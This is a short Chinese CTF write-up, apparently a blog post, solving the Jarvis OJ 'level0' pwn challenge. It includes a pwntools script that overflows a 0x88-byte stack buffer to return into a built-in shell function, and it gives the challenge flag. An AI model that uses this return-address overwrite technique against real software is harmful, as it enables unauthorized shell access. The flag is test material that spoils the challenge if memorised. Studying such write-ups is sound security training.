差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼
分析一下,checksec 查看程序的各种保护机制
没有金丝雀,没有pie
执行时输出Hello,World,在进行输入,溢出嘛
开工
丢到ida里看看,先看看有价值的strings,除了输出的helloworld 还发现了“/bin/sh”,获取shell的函数都写好啦,是callsystem
继而发现在main函数执行时调用的vulnerable_function()存在不安全的read输入,可以看到buf的长度为0x80+0x8
所以可以通过输入buf,用callsystem的地址覆盖vulnerable_function()的返回地址,进而实现获取shell
程序流程(从ABO偷来下图)
灰色箭头代表覆盖vulnable_function返回地址之前的执行顺序
脚本
#!/usr/bin/env python
# coding:utf-8
# writen by Exm from pwn import *
io = process("./level0")
io = remote("pwn2.jarvisoj.com" , 9881)
elf = ELF("./level0")
func_addr = elf.symbols["callsystem"]
payload = 'a' * (0x80 + 0x8) + p64(func_addr) io.recvline()
io.sendline(payload)
io.interactive()
io.close()
补充一下
symbols是[中括号]!!symbols是[中括号]!!symbols是[中括号]!!
执行一下就getshell啦,拿flag入探囊取物
flag: CTF{713ca3944e92180e0ef03171981dcd41}
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;